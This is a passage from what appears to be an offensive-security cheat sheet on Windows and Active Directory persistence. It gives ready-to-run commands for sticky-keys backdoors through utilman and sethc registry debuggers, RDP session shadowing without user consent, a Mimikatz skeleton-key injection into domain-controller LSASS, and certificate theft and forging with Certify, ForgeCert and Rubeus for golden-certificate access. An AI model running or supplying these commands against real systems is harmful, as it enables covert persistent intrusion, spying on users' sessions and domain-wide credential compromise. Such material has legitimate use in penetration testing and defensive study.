Windows Management Instrumentation Event Subscription

An adversary can use Windows Management Instrumentation (WMI) to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.

  • __EventFilter: Trigger (new process, failed logon etc.)
  • EventConsumer: Perform Action (execute payload etc.)
  • __FilterToConsumerBinding: Binds Filter and Consumer Classes
# Using CMD : Execute a binary 60 seconds after Windows started

RDP Backdoor

utilman.exe

At the login screen, press Windows Key+U, and you get a cmd.exe window as SYSTEM.

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

sethc.exe

Hit F5 a bunch of times when you are at the RDP login screen.

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

Remote Desktop Services Shadowing

⚠️ FreeRDP and rdesktop don't support Remote Desktop Services Shadowing feature.

Requirements:

  • RDP must be running
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 4
# 4 – View Session without user’s permission.

# Allowing remote connections to this computer
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f


# Disable UAC remote restriction
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

mstsc /v:{ADDRESS} /shadow:{SESSION_ID} /noconsentprompt /prompt
# /v parameter lets specify the {ADDRESS} value that is an IP address or a hostname of a remote host;
# /shadow parameter is used to specify the {SESSION_ID} value that is a shadowee’s session ID;
# /noconsentprompt parameter allows to bypass a shadowee’s permission and shadow their session without their consent;
# /prompt parameter is used to specify a user’s credentials to connect to a remote host.

Skeleton Key

Inject a master password into the LSASS process of a Domain Controller.

Requirements:

  • Domain Administrator (SeDebugPrivilege) or NTAUTHORITY\SYSTEM
# Execute the skeleton key attack
mimikatz "privilege::debug" "misc::skeleton"
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <DCs FQDN>

# Access using the password "mimikatz"
Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential <Domain>\Administrator

Domain

User Certificate

# Request a certificate for the User template
.\Certify.exe request /ca:CA01.megacorp.local\CA01 /template:User

# Convert the certificate for Rubeus
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

# Request a TGT using the certificate
.\Rubeus.exe asktgt /user:username /certificate:C:\Temp\cert.pfx /password:Passw0rd123!

Golden Certificate

Require elevated privileges in the Active Directory, or on the ADCS machine

  • Export CA as p12 file: certsrv.msc > Right Click > Back up CA...
  • Alternative 1: Using Mimikatz you can extract the certificate as PFX/DER 
    privilege::debug
crypto::capi
crypto::cng
crypto::certificates /systemstore:local_machine /store:my /export
  • Alternative 2: Using SharpDPAPI, then convert the certificate: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
  • ForgeCert - Forge a certificate for any active domain user using the CA certificate 
    ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName harry@lab.local --NewCertPath harry.pfx --NewCertPassword Password123
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName DC$@lab.local --NewCertPath dc.pfx --NewCertPassword Password123
  • Finally you can request a TGT using the Certificate 
    Rubeus.exe asktgt /user:ron /certificate:harry.pfx /password:Password123
